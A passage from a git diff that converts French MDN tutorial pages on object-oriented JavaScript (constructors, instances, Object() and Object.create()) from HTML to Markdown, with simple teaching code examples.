d'un paquet objet. Il est possible de donner un nom spécifique à un paquet objet afin d'y faire référence, on parle alors d'**espace de noms** ou _namespace_, il sera ainsi plus facile de le manipuler et d'y accéder. Les objets peuvent aussi servir pour stocker des données et les transférer facilement sur un réseau. -<h3 id="Définissons_un_modèle_objet">Définissons un modèle objet</h3> +### Définissons un modèle objet -<p>Nous allons voir un programme simple qui affiche des informations à propos des élèves et des professeurs d'une école. Nous allons aborder la théorie de la programmation orientée objet de manière générale sans l'appliquer à un langage particulier.</p> +Nous allons voir un programme simple qui affiche des informations à propos des élèves et des professeurs d'une école. Nous allons aborder la théorie de la programmation orientée objet de manière générale sans l'appliquer à un langage particulier. -<p>Pour débuter, nous pouvons réutiliser l'objet Personne que nous avons créé dans notre <a href="/fr/docs/Learn/JavaScript/Objects/Basics">premier article</a>, il définit un ensemble de données et actions d'une personne. Il existe tout un tas de choses que nous pourrions savoir au sujet d'une personne (son adresse, sa taille, sa pointure, son ADN, son numéro de passeport, ses traits particuliers significatifs… ). En l'occurrence, nous souhaitons uniquement afficher son nom, son âge, ses passions, écrire une petite introduction à son sujet en utilisant ces données et lui apprendre à se présenter. On parle alors d'<strong>abstraction </strong>: créer un modèle simplifié de quelque chose de complexe mais qui ne contient que les aspects qui nous intéressent. Il sera alors plus simple de manipuler ce modèle objet simplifié dans le cadre de notre programme.</p> +Pour débuter, nous pouvons réutiliser l'objet Personne que nous avons créé dans notre [premier article](/fr/docs/Learn/JavaScript/Objects/Basics), il définit un ensemble de données et actions d'une personne. Il existe tout un tas de choses que nous pourrions savoir au sujet d'une personne (son adresse, sa taille, sa pointure, son ADN, son numéro de passeport, ses traits particuliers significatifs… ). En l'occurrence, nous souhaitons uniquement afficher son nom, son âge, ses passions, écrire une petite introduction à son sujet en utilisant ces données et lui apprendre à se présenter. On parle alors d'**abstraction** : créer un modèle simplifié de quelque chose de complexe mais qui ne contient que les aspects qui nous intéressent. Il sera alors plus simple de manipuler ce modèle objet simplifié dans le cadre de notre programme. -<p><img alt="Classe Personne avec attributs élémentaires" src="ClassePersonne.png"></p> + -<p>Dans plusieurs langages de POO, la définition d'un objet est appelé une <strong>classe </strong>(comme on le verra ci-après, JavaScript se base sur un mécanisme et une terminologie différente). En réalité ce n'est pas vraiment un objet mais plutôt un modèle qui définit les propriétés que notre objet doit avoir.</p> +Dans plusieurs langages de POO, la définition d'un objet est appelé une **classe** (comme on le verra ci-après, JavaScript se base sur un mécanisme et une terminologie différente). En réalité ce n'est pas vraiment un objet mais plutôt un modèle qui définit les propriétés que notre objet doit avoir. -<h3 id="Créons_des_objets">Créons des objets</h3> +### Créons des objets -<p>À partir de notre classe, nous pouvons créer des objets, on parle alors d'<strong>instancier des objets</strong>, une classe objet a alors <strong>une instance</strong>. Il s'agit d'objets qui contiennent les données et attributs définis dans une classe. À partir de notre classe Personne, nous pouvons modéliser des personnes réelles :</p> +À partir de notre classe, nous pouvons créer des objets, on parle alors d'**instancier des objets**, une classe objet a alors **une instance**. Il s'agit d'objets qui contiennent les données et attributs définis dans une classe. À partir de notre classe Personne, nous pouvons modéliser des personnes réelles : -<p><img alt="Instantiation on a Personn Class for JS examples (fr)" src="InstancePersonne.png"></p> + -<p>Lorsque l'instance d'un objet est créée, on appelle la <strong>fonction</strong> <strong>constructeur </strong>de la classe pour la créer. On parle d'<strong>instanciation</strong> d'un objet — l'objet ainsi créé est <strong>instancié</strong> à partir de la classe.</p> +Lorsque l'instance d'un objet est créée, on appelle la **fonction** **constructeur** de la classe pour la créer. On parle d'**instanciation** d'un objet — l'objet ainsi créé est **instancié** à partir de la classe. -<h3 id="Classes_filles">Classes filles</h3> +### Classes filles -<p>Pour notre exemple, nous n'allons pas nous contenter de personnes génériques — nous pourrions utiliser des professeurs, des étudiants, qui sont des types un peu plus spécifiques de personnes. En POO, il est possible de créer de nouvelles classes à partir d'autres classes — ces <strong>classes filles</strong> nouvellement créées peuvent <strong>hériter</strong> des propriétés et des attributs de leur <strong>classe mère</strong>. Il est donc possible d'avoir des attributs partagés à l'ensemble des classes plutôt que de les dupliquer. Si besoin, il est possible d'ajouter des fonctions et attributs spécifiques sur chaque classe fille.</p> +Pour notre exemple, nous n'allons pas nous contenter de personnes génériques — nous pourrions utiliser des professeurs, des étudiants, qui sont des types un peu plus spécifiques de personnes. En POO, il est possible de créer de nouvelles classes à partir d'autres classes — ces **classes filles** nouvellement créées peuvent **hériter** des propriétés et des attributs de leur **classe mère**. Il est donc possible d'avoir des attributs partagés à l'ensemble des classes plutôt que de les dupliquer. Si besoin, il est possible d'ajouter des fonctions et attributs spécifiques sur chaque classe fille. -<p><img alt="Inheritance principle with French text for JS example" src="HeritageClasse.PNG"></p> + -<p>Cela s'avère très utile puisque les étudiants et les professeurs se ressemblent sur de nombreux aspects : ils ont un nom, un genre, un âge, il est donc utile de ne définir ces attributs qu'une seule fois. Il est aussi possible de redéfinir le même attribut dans différentes classes étant donné que l'attribut appartiendra à chaque fois à un nom d'espace différent. On pourra ainsi avoir différentes formes de salutations : « Hey, je m'appelle [prénom] » pour les étudiants ( « Hey je m'appelle Sam » ) tandis que les professeurs pourront dire quelque chose d'un peu plus formel comme « Bonjour, mon nom est [Titre][Nom] et j'enseigne [matière] » par exemple « Bonjour mon nom est M. Griffiths et j'enseigne la chimie ».</p> +Cela s'avère très utile puisque les étudiants et les professeurs se ressemblent sur de nombreux aspects : ils ont un nom, un genre, un âge, il est donc utile de ne définir ces attributs qu'une seule fois. Il est aussi possible de redéfinir le même attribut dans différentes classes étant donné que l'attribut appartiendra à chaque fois à un nom d'espace différent. On pourra ainsi avoir différentes formes de salutations : « Hey, je m'appelle \[prénom] » pour les étudiants ( « Hey je m'appelle Sam » ) tandis que les professeurs pourront dire quelque chose d'un peu plus formel comme « Bonjour, mon nom est \[Titre]\[Nom] et j'enseigne \[matière] » par exemple « Bonjour mon nom est M. Griffiths et j'enseigne la chimie ». -<div class="note"> -<p><strong>Note :</strong> On parle de <strong>polymorphisme</strong>, lorsque des objets réutilisent la même propriété, mais c'est juste pour info, vous embêtez pas.</p> -</div> +> **Note :** On parle de **polymorphisme**, lorsque des objets réutilisent la même propriété, mais c'est juste pour info, vous embêtez pas. -<p>Une fois la classe fille créée il est alors possible de l'instancier et de créer des objets. Par exemple :</p> +Une fois la classe fille créée il est alors possible de l'instancier et de créer des objets. Par exemple : -<p><img alt="Professor instantiation example for JS fr" src="InstanceProf.png"></p> + -<p>Dans la suite de l'article, nous nous intéresserons à la mise en œuvre de la programmation orientée objet (POO) au sein de JavaScript.</p> +Dans la suite de l'article, nous nous intéresserons à la mise en œuvre de la programmation orientée objet (POO) au sein de JavaScript. -<h2 id="Constructeurs_et_instances_dobjet">Constructeurs et instances d'objet</h2> +## Constructeurs et instances d'objet -<p>Certains disent que le JavaScript n'est pas vraiment un langage de programmation orienté objet — Il n'existe pas, en JavaScript d'élément <code>class</code> pour créer des classes alors que c'est le cas dans plusieurs langages orientés objet. JavaScript quant à lui, utilise des fonctions spéciales appelées <strong>constructeurs</strong> pour définir les objets et leurs propriétés. Ces constructeurs s'avèrent utiles, puisque bien souvent, nous ne savons pas combien d'objets nous allons définir, les constructeurs nous permettent de créer autant d'objets que nécessaire et d'y associer des données et des fonctions au fur et à mesure.</p> +Certains disent que le JavaScript n'est pas vraiment un langage de programmation orienté objet — Il n'existe pas, en JavaScript d'élément `class` pour créer des classes alors que c'est le cas dans plusieurs langages orientés objet. JavaScript quant à lui, utilise des fonctions spéciales appelées **constructeurs** pour définir les objets et leurs propriétés. Ces constructeurs s'avèrent utiles, puisque bien souvent, nous ne savons pas combien d'objets nous allons définir, les constructeurs nous permettent de créer autant d'objets que nécessaire et d'y associer des données et des fonctions au fur et à mesure. -<p>Lorsqu'un objet est instancié à partir d'une fonction constructeur, les fonctions de la classe ne sont pas copiées directement dans l'objet comme dans la plupart des langages orientés objet (OO). En JavaScript, les fonctions sont liées grâce à une chaîne de référence appelée chaîne prototype (voir <a href="/fr/docs/Learn/JavaScript/Objects/Object_prototypes">Prototypes Objet</a>). Il ne s'agit donc pas d'une véritable instanciation au sens strict puisque JavaScript utilise un mécanisme différent pour partager des fonctionnalités entre les objets.</p> +Lorsqu'un objet est instancié à partir d'une fonction constructeur, les fonctions de la classe ne sont pas copiées directement dans l'objet comme dans la plupart des langages orientés objet (OO). En JavaScript, les fonctions sont liées grâce à une chaîne de référence appelée chaîne prototype (voir [Prototypes Objet](/fr/docs/Learn/JavaScript/Objects/Object_prototypes)). Il ne s'agit donc pas d'une véritable instanciation au sens strict puisque JavaScript utilise un mécanisme différent pour partager des fonctionnalités entre les objets. -<div class="note"> -<p><strong>Note :</strong> Ne pas être un "langage classique de POO" n'est pas nécessairement un défaut. Comme nous le mentionnions au début de l'article, la POO peut très vite devenir compliquée et JavaScript, grâce à ses différences parvient à utiliser certains concepts avancés tout en restant abordable.</p> -</div> +> **Note :** Ne pas être un "langage classique de POO" n'est pas nécessairement un défaut. Comme nous le mentionnions au début de l'article, la POO peut très vite devenir compliquée et JavaScript, grâce à ses différences parvient à utiliser certains concepts avancés tout en restant abordable. -<p>Voyons comment créer des classes via les constructeurs et les utiliser pour instancier des objets en JavaScript. Nous allons commencer par faire une copie locale du fichier <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs.html">oojs.html</a> que nous avons vu dans notre premier article sur les objets.</p> +Voyons comment créer des classes via les constructeurs et les utiliser pour instancier des objets en JavaScript. Nous allons commencer par faire une copie locale du fichier [oojs.html](https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs.html) que nous avons vu dans notre premier article sur les objets. -<h3 id="Un_exemple_simple">Un exemple simple</h3> +### Un exemple simple -<ol> - <li>Tout d'abord ; voyons comment définir une personne au travers d'une fonction classique. Vous pouvez ajouter l'exemple ci-dessous dans votre code existant : - <pre class="brush: js">function creerNouvellePersonne(nom) { - var obj = {}; - obj.nom = nom; - obj.salutation = function() { - alert('Salut ! Je m\'appelle ' + this.nom + '.'); - }; - return obj; -}</pre> - </li> - <li>Vous pouvez désormais créer une personne en appelant cette fonction, essayez en copiant les lignes suivantes dans la console JavaScript de votre navigateur : - <pre class="brush: js">var salva = creerNouvellePersonne('Salva'); -salva.nom; -salva.salutation();</pre> - Ça fonctionne bien, mais on peut améliorer notre exemple. Si l'on sait que l'on va créer un objet, pourquoi créer un objet vide pour l'utiliser ensuite ? Heureusement, JavaScript est là et possède des fonctions adaptées comme les constructeurs. À l'abordage !</li> - <li>Remplacez la fonction précédente par celle-ci : - <pre class="brush: js">function Personne(nom) { - this.nom = nom; - this.salutation = function() { - alert('Bonjour ! Je m\'appelle ' + this.nom + '.'); - }; -}</pre> - </li> -</ol> +1. Tout d'abord ; voyons comment définir une personne au travers d'une fonction classique. Vous pouvez ajouter l'exemple ci-dessous dans votre code existant : + + ```js + function creerNouvellePersonne(nom) { + var obj = {}; + obj.nom = nom; + obj.salutation = function() { + alert('Salut ! Je m\'appelle ' + this.nom + '.'); + }; + return obj; + } + ``` + +2. Vous pouvez désormais créer une personne en appelant cette fonction, essayez en copiant les lignes suivantes dans la console JavaScript de votre navigateur : + + ```js + var salva = creerNouvellePersonne('Salva'); + salva.nom; + salva.salutation(); + ``` -<p>Le constructeur est l'équivalent JavaScript d'une classe. Il possède l'ensemble des fonctionnalités d'une fonction, cependant il ne renvoie rien et ne crée pas d'objet explicitement. Il se contente de définir les propriétés et les méthodes associées. Il y a aussi l'utilisation du mot-clé <code>this</code>, ce mot-clé sert au sein d'une instance qui sera créée à y faire référence, ainsi l'attribut nom sera, pour l'instance, égal au nom passé en argument de la fonction constructrice, la méthode <code>salutation</code><code>()</code> retournera elle aussi le nom passé en argument de la fonction constructrice.</p> + Ça fonctionne bien, mais on peut améliorer notre exemple. Si l'on sait que l'on va créer un objet, pourquoi créer un objet vide pour l'utiliser ensuite ? Heureusement, JavaScript est là et possède des fonctions adaptées comme les constructeurs. À l'abordage ! -<div class="note"> -<p><strong>Note :</strong> Les fonctions de type constructeur commencent généralement par une majuscule. Cette convention d'écriture permet de repérer les constructeurs plus facilement dans le code.</p> -</div> +3. Remplacez la fonction précédente par celle-ci : -<p>Comment pouvons-nous utiliser un constructeur ?</p> + ```js + function Personne(nom) { + this.nom = nom; + this.salutation = function() { + alert('Bonjour ! Je m\'appelle ' + this.nom + '.'); + }; + } + ``` -<ol> - <li>Ajoutez les lignes suivantes au code déjà existant : - <pre class="brush: js">var personne1 = new Personne('Bob'); -var personne2 = new Personne('Sarah');</pre> - </li> - <li>Enregistrez votre code et relancez le dans votre navigateur puis essayez d'entrer les lignes suivantes dans la console : - <pre class="brush: js">personne1.nom -personne1.salutation() -personne2.nom -personne2.salutation()</pre> - </li> -</ol> +Le constructeur est l'équivalent JavaScript d'une classe. Il possède l'ensemble des fonctionnalités d'une fonction, cependant il ne renvoie rien et ne crée pas d'objet explicitement. Il se contente de définir les propriétés et les méthodes associées. Il y a aussi l'utilisation du mot-clé `this`, ce mot-clé sert au sein d'une instance qui sera créée à y faire référence, ainsi l'attribut nom sera, pour l'instance, égal au nom passé en argument de la fonction constructrice, la méthode ` salutation``() ` retournera elle aussi le nom passé en argument de la fonction constructrice. -<p>Pas mal ! Vous voyez désormais que nous avons deux nouveaux objets sur cette page, chaque objet étant stocké dans un espace de nom différent, pour y accéder il faut utiliser <code>personne1</code> et <code>personne2</code> pour préfixer les fonctions et attributs. Ce rangement permet de ne pas tout casser et de ne pas rentrer en collision avec d'autres fonctionnalités. Cependant les objets disposent du même attribut <code>nom</code> et de la même méthode <code>salutation()</code>. Heureusement, les attributs et les méthodes utilisent <code>this</code> ce qui leur permet d'utiliser les valeurs propres à chaque instance et de ne pas les mélanger.</p> +> **Note :** Les fonctions de type constructeur commencent généralement par une majuscule. Cette convention d'écriture permet de repérer les constructeurs plus facilement dans le code. -<p>Revoyons l'appel au constructeur :</p> +Comment pouvons-nous utiliser un constructeur ? -<pre class="brush: js">var personne1 = new Personne('Bob'); -var personne2 = new Personne('Sarah');</pre> +1. Ajoutez les lignes suivantes au code déjà existant : -<p>Dans chaque cas, le mot clé <code>new</code> est utilisé pour dire au navigateur que nous souhaitons définir une nouvelle instance, il est suivi du nom de la fonction que l'on utilise et de ses paramètres fournis entre parenthèses, le résultat est stocké dans une variable. Chaque instance est créée à partir de cette définition :</p> + ```js + var personne1 = new Personne('Bob'); + var personne2 = new Personne('Sarah'); + ``` -<pre class="brush: js">function Personne(nom) { +2. Enregistrez votre code et relancez le dans votre navigateur puis essayez d'entrer les lignes suivantes dans la console : + + ```js + personne1.nom + personne1.salutation() + personne2.nom + personne2.salutation() + ``` + +Pas mal ! Vous voyez désormais que nous avons deux nouveaux objets sur cette page, chaque objet étant stocké dans un espace de nom différent, pour y accéder il faut utiliser `personne1` et `personne2` pour préfixer les fonctions et attributs. Ce rangement permet de ne pas tout casser et de ne pas rentrer en collision avec d'autres fonctionnalités. Cependant les objets disposent du même attribut `nom` et de la même méthode `salutation()`. Heureusement, les attributs et les méthodes utilisent `this` ce qui leur permet d'utiliser les valeurs propres à chaque instance et de ne pas les mélanger. + +Revoyons l'appel au constructeur : + +```js +var personne1 = new Personne('Bob'); +var personne2 = new Personne('Sarah'); +``` + +Dans chaque cas, le mot clé `new` est utilisé pour dire au navigateur que nous souhaitons définir une nouvelle instance, il est suivi du nom de la fonction que l'on utilise et de ses paramètres fournis entre parenthèses, le résultat est stocké dans une variable. Chaque instance est créée à partir de cette définition : + +```js +function Personne(nom) { this.nom = nom; this.salutation = function() { alert('Bonjour ! Je m\'appelle ' + this.nom + '.'); }; -}</pre> +} +``` -<p>Une fois les objets créés, les variables <code>personne1</code> et <code>personne2</code> contiennent les objets suivants :</p> +Une fois les objets créés, les variables `personne1` et `personne2` contiennent les objets suivants : -<pre class="brush: js">{ +```js +{ nom: 'Bob', salutation: function() { alert('Bonjour ! Je m\'appelle ' + this.nom + '.'); @@ -164,116 +183,127 @@ var personne2 = new Personne('Sarah');</pre> salutation: function() { alert('Bonjour ! Je m\'appelle ' + this.nom + '.'); } -}</pre> +} +``` -<p>On peut remarquer qu'à chaque appel de notre fonction constructrice nous définissons <code>salutation()</code> à chaque fois. Cela peut être évité via la définition de la fonction au sein du prototype, ce que nous verrons plus tard.</p> +On peut remarquer qu'à chaque appel de notre fonction constructrice nous définissons `salutation()` à chaque fois. Cela peut être évité via la définition de la fonction au sein du prototype, ce que nous verrons plus tard. -<h3 id="Créons_une_version_finalisée_de_notre_constructeur">Créons une version finalisée de notre constructeur</h3> +### Créons une version finalisée de notre constructeur -<p>L'exemple que nous avons utilisé jusqu'à présent était destiné à aborder les notions de base des constructeurs. Créons un constructeur digne de ce nom pour notre fonction constructrice <code>Personne()</code>.</p> +L'exemple que nous avons utilisé jusqu'à présent était destiné à aborder les notions de base des constructeurs. Créons un constructeur digne de ce nom pour notre fonction constructrice `Personne()`. -<ol> - <li>Vous pouvez retirer le code que vous aviez ajouté précédemment pour le remplacer par le constructeur suivant, c'est la même fonction, ça reste un constructeur, nous avons juste ajouté quelques détails : - <pre class="brush: js">function Personne(prenom, nom, age, genre, interets) { - this.nom = { - prenom, - nom - }; - this.age = age; - this.genre = genre; - this.interets = interets; - this.bio = function() { - alert(this.nom.prenom + ' ' + this.nom.nom + ' a ' + this.age + ' ans. Il aime ' + this.interets[0] + ' et ' + this.interets[1] + '.'); - }; - this.salutation = function() { - alert('Bonjour ! Je m\'appelle ' + this.nom.prenom + '.'); - }; -};</pre> - </li> - <li>Vous pouvez ajouter la ligne ci-dessous pour créer une instance à partir du constructeur : - <pre class="brush: js">var personne1 = new Personne('Bob', 'Smith', 32, 'homme', ['musique', 'ski']);</pre> - </li> -</ol> +1. Vous pouvez retirer le code que vous aviez ajouté précédemment pour le remplacer par le constructeur suivant, c'est la même fonction, ça reste un constructeur, nous avons juste ajouté quelques détails : + + ```js + function Personne(prenom, nom, age, genre, interets) { + this.nom = { + prenom, + nom + }; + this.age = age; + this.genre = genre; + this.interets = interets; + this.bio = function() { + alert(this.nom.prenom + ' ' + this.nom.nom + ' a ' + this.age + ' ans. Il aime ' + this.interets[0] + ' et ' + this.interets[1] + '.'); + }; + this.salutation = function() { + alert('Bonjour ! Je m\'appelle ' + this.nom.prenom + '.'); + }; + }; + ``` -<p>Vous pouvez accéder aux fonctions des objets instanciés de la même manière qu'avant :</p> +2. Vous pouvez ajouter la ligne ci-dessous pour créer une instance à partir du constructeur : -<pre class="brush: js">personne1['age'] + ```js + var personne1 = new Personne('Bob', 'Smith', 32, 'homme', ['musique', 'ski']); + ``` + +Vous pouvez accéder aux fonctions des objets instanciés de la même manière qu'avant : + +```js +personne1['age'] personne1.interets[1] personne1.bio() -// etc.</pre> +// etc. +``` -<div class="note"> -<p><strong>Note :</strong> Si vous avez du mal à faire fonctionner cet exemple, vous pouvez comparez votre travail avec notre version (voir <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-finished.html">oojs-class-finished.html</a> (vous pouvez aussi jeter un œil à la <a href="https://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-finished.html">démo</a>)</p> -</div> +> **Note :** Si vous avez du mal à faire fonctionner cet exemple, vous pouvez comparez votre travail avec notre version (voir [oojs-class-finished.html](https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-finished.html) (vous pouvez aussi jeter un œil à la [démo](https://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-finished.html)) -<h3 id="Exercices">Exercices</h3> +### Exercices -<p>Vous pouvez démarrer en instanciant de nouveaux objets puis en essayant de modifier et d'accéder à leurs attributs respectifs.</p> +Vous pouvez démarrer en instanciant de nouveaux objets puis en essayant de modifier et d'accéder à leurs attributs respectifs. -<p>D'autre part, il y a quelques améliorations possibles pour notre méthode <code>bio().</code> En effet elle affiche systématiquement le pronom 'il', même si votre personne est une femme ou bien préfère se définir par un autre genre. De plus, la biographie n'inclut que deux passions, même s'il y en a plus dans la liste. Essayez d'améliorer cette méthode. Vous pourrez mettre votre code à l'intérieur du constructeur (vous aurez probablement besoin de quelques structures conditionnelles et d'une boucle). Réflechissez à la syntaxe des phrases qui devra s'adapter en fonction du genre et du nombre de passions listées.</p> +D'autre part, il y a quelques améliorations possibles pour notre méthode `bio().` En effet elle affiche systématiquement le pronom 'il', même si votre personne est une femme ou bien préfère se définir par un autre genre. De plus, la biographie n'inclut que deux passions, même s'il y en a plus dans la liste. Essayez d'améliorer cette méthode. Vous pourrez mettre votre code à l'intérieur du constructeur (vous aurez probablement besoin de quelques structures conditionnelles et d'une boucle). Réflechissez à la syntaxe des phrases qui devra s'adapter en fonction du genre et du nombre de passions listées. -<div class="note"> -<p><strong>Note :</strong> Si vous êtes bloqués, nous avons mis une réponse possible sur notre dépôt <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-further-exercises.html">GitHub </a>(<a href="https://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-further-exercises.html">la démo</a>) —tentez d'abord l'aventure avant d'aller regarder la réponse !</p> -</div> +> **Note :** Si vous êtes bloqués, nous avons mis une réponse possible sur notre dépôt [GitHub ](https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-further-exercises.html)([la démo](https://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-further-exercises.html)) —tentez d'abord l'aventure avant d'aller regarder la réponse ! -<h2 id="Dautres_manières_dinstancier_des_objets">D'autres manières d'instancier des objets</h2> +## D'autres manières d'instancier des objets -<p>Jusque là nous n'avons abordé que deux manières différentes pour créer une instance d'objet, la déclarer de manière explicite et en utilisant le constructeur.</p> +Jusque là nous n'avons abordé que deux manières différentes pour créer une instance d'objet, la déclarer de manière explicite et en utilisant le constructeur. -<p>Elles sont toutes les deux valables, mais il en existe d'autres. Afin que vous les reconnaissiez lorsque vous vous baladez sur le Web, nous en avons listées quelques unes.</p> +Elles sont toutes les deux valables, mais il en existe d'autres. Afin que vous les reconnaissiez lorsque vous vous baladez sur le Web, nous en avons listées quelques unes. -<h3 id="Le_constructeur_Object">Le constructeur Object()</h3> +### Le constructeur Object() -<p>Vous pouvez en premier lieu utiliser le constructeur <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Object">Object()</a></code> pour créer un nouvel objet. Oui, même les objets génériques ont leur propre constructeur, qui génère un objet vide.</p> +Vous pouvez en premier lieu utiliser le constructeur [`Object()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Object) pour créer un nouvel objet. Oui, même les objets génériques ont leur propre constructeur, qui génère un objet vide. -<ol> - <li>Essayez la commande suivante dans la console JavaScript de votre navigateur : - <pre class="brush: js">var personne1 = new Object();</pre> - </li> - <li>On stocke ainsi un objet vide dans la variable personne1. Vous pouvez ensuite ajouter des attributs et des méthodes à cet objet en utilisant la notation point ou parenthèses comme vous le souhaitez. - <pre class="brush: js">personne1.nom = 'Chris'; -personne1['age'] = 38; -personne1.salutation = function() { - alert('Bonjour ! Je m\'appelle ' + this.nom + '.'); -};</pre> - </li> - <li>Vous pouvez aussi passer un objet en paramètre du constructeur <code>Object()</code>, afin de prédéfinir certains attributs et méthodes. - <pre class="brush: js">var personne1 = new Object({ - nom: 'Chris', - age: 38, - salutation: function() { - alert('Bonjour ! Je m\'appelle ' + this.nom + '.'); - } -});</pre> - </li> -</ol> +1. Essayez la commande suivante dans la console JavaScript de votre navigateur : + + ```js + var personne1 = new Object(); + ``` + +2. On stocke ainsi un objet vide dans la variable personne1. Vous pouvez ensuite ajouter des attributs et des méthodes à cet objet en utilisant la notation point ou parenthèses comme vous le souhaitez. + + ```js + personne1.nom = 'Chris'; + personne1['age'] = 38; + personne1.salutation = function() { + alert('Bonjour ! Je m\'appelle ' + this.nom + '.'); + }; + ``` + +3. Vous pouvez aussi passer un objet en paramètre du constructeur `Object()`, afin de prédéfinir certains attributs et méthodes. + + ```js + var personne1 = new Object({ + nom: 'Chris', + age: 38, + salutation: function() { + alert('Bonjour ! Je m\'appelle ' + this.nom + '.'); + } + }); + ``` + +### Via la méthode create() + +Les constructeurs permettent de structurer le code : vous pouvez avoir l'ensemble de vos constructeurs au même endroit et ensuite créer les instances suivant vos besoins, en identifiant clairement leur origine. + +Cependant, on peut vouloir créér des instances d'un objet, sans forcément définir un constructeur au préalable. (Particulierement si l'on a peu d'instances de cet object). JavaScript intègre directement une méthode appelée [`create()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/create) qui rend cela possible. Elle permet d'instancier un objet à partir d'un objet existant . -<h3 id="Via_la_méthode_create">Via la méthode create()</h3> +1. Essayez d'ajouter la ligne suivante dans votre console JavaScript : -<p>Les constructeurs permettent de structurer le code : vous pouvez avoir l'ensemble de vos constructeurs au même endroit et ensuite créer les instances suivant vos besoins, en identifiant clairement leur origine. </p> + ```js + var personne2 = Object.create(personne1); + ``` -<p>Cependant, on peut vouloir créér des instances d'un objet, sans forcément définir un constructeur au préalable. (Particulierement si l'on a peu d'instances de cet object). JavaScript intègre directement une méthode appelée <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/create">create()</a></code> qui rend cela possible. Elle permet d'instancier un objet à partir d'un objet existant .</p> +2. Maintenant : -<ol> - <li>Essayez d'ajouter la ligne suivante dans votre console JavaScript : - <pre class="brush: js">var personne2 = Object.create(personne1);</pre> - </li> - <li>Maintenant : - <pre class="brush: js">personne2.nom -personne2.salutation()</pre> - </li> -</ol> + ```js + personne2.nom + personne2.salutation() + ``` -<p><code>personne2</code> a été créée à partir de <code>personne1</code> — et elle possède les mêmes propriétés. </p> +`personne2` a été créée à partir de `personne1` — et elle possède les mêmes propriétés. -<p>L'inconvénient de <code>create()</code> est qu'elle n'est pas supportée par IE8. Ainsi, utiliser les constructeurs peut s'avérer plus judicieux lorsqu'il s'agit de supporter les anciens navigateurs Web.</p> +L'inconvénient de `create()` est qu'elle n'est pas supportée par IE8. Ainsi, utiliser les constructeurs peut s'avérer plus judicieux lorsqu'il s'agit de supporter les anciens navigateurs Web. -<p>Nous verrons les détails et les effets de <code>create()</code> plus tard.</p> +Nous verrons les détails et les effets de `create()` plus tard. -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Cet article vous a donné un aperçu simplifié de la programmation orientée objet. Tout n'y a pas été détaillé mais ça vous permet de vous faire une idée. Nous avons vu comment JavaScript s'appuyait sur un certain nombre de principes orienté objet tout en ayant un certain nombre de particularités. Nous avons aussi vu comment implémenter des classes en JavaScript via la fonction constructeur ainsi que les différentes manières de générer des instances d'objets.</p> +Cet article vous a donné un aperçu simplifié de la programmation orientée objet. Tout n'y a pas été détaillé mais ça vous permet de vous faire une idée. Nous avons vu comment JavaScript s'appuyait sur un certain nombre de principes orienté objet tout en ayant un certain nombre de particularités. Nous avons aussi vu comment implémenter des classes en JavaScript via la fonction constructeur ainsi que les différentes manières de générer des instances d'objets. -<p>Dans le prochain article, nous explorerons le monde des objets prototypes en JavaScript.</p> +Dans le prochain article, nous explorerons le monde des objets prototypes en JavaScript. -<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Basics", "Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects")}}</p> +{{PreviousMenuNext("Learn/JavaScript/Objects/Basics", "Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects")}} diff --git a/files/fr/learn/javascript/objects/object_building_practice/index.md b/files/fr/learn/javascript/objects/object_building_practice/index.md index 7028077f88..858880b11b 100644 --- a/files/fr/learn/javascript/objects/object_building_practice/index.md +++ b/files/fr/learn/javascript/objects/object_building_practice/index.md @@ -13,305 +13,315 @@ tags: translation_of: Learn/JavaScript/Objects/Object_building_practice original_slug: Learn/JavaScript/Objects/la_construction_d_objet_en_pratique --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects/Adding_bouncing_balls_features", "Learn/JavaScript/Objects")}} -<div>{{PreviousMenuNext("Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects/Adding_bouncing_balls_features", "Learn/JavaScript/Objects")}}</div> - -<p>Dans l'article précédent, nous avons passé en revue l'essentiel de la théorie de l'objet Javascript et sa syntaxe détaillée, vous donnant ainsi des bases solides sur lesquelles commencer. Dans le présent article nous plongeons dans un exercice pratique afin d'accroître votre savoir-faire dans la construction d'objets entièrement personnalisés donnant un résultat plutôt amusant et très coloré.</p> +Dans l'article précédent, nous avons passé en revue l'essentiel de la théorie de l'objet Javascript et sa syntaxe détaillée, vous donnant ainsi des bases solides sur lesquelles commencer. Dans le présent article nous plongeons dans un exercice pratique afin d'accroître votre savoir-faire dans la construction d'objets entièrement personnalisés donnant un résultat plutôt amusant et très coloré. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Pré-requis :</th> - <td> - <p>Connaissance basique de l'informatique, une compréhension basique du HTML et du CSS, une familiarité avec les bases du JavaScript (voir <a href="/fr/docs/Learn/JavaScript/First_steps">Premiers pas</a> et <a href="/fr/docs/Learn/JavaScript/Building_blocks">Les blocs de construction</a>) et les bases de la programmation objet en JavaScript (voir <a href="/fr/docs/Learn/JavaScript/Object-oriented/Introduction">Introduction aux objets</a>). </p> - </td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td> - <p>Acquérir plus de pratique dans l'utilisation des objets et des techniques orientées objet dans un contexte "monde réel".</p> - </td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Pré-requis :</th> + <td> + <p> + Connaissance basique de l'informatique, une compréhension basique du + HTML et du CSS, une familiarité avec les bases du JavaScript (voir + <a href="/fr/docs/Learn/JavaScript/First_steps">Premiers pas</a> et + <a href="/fr/docs/Learn/JavaScript/Building_blocks" + 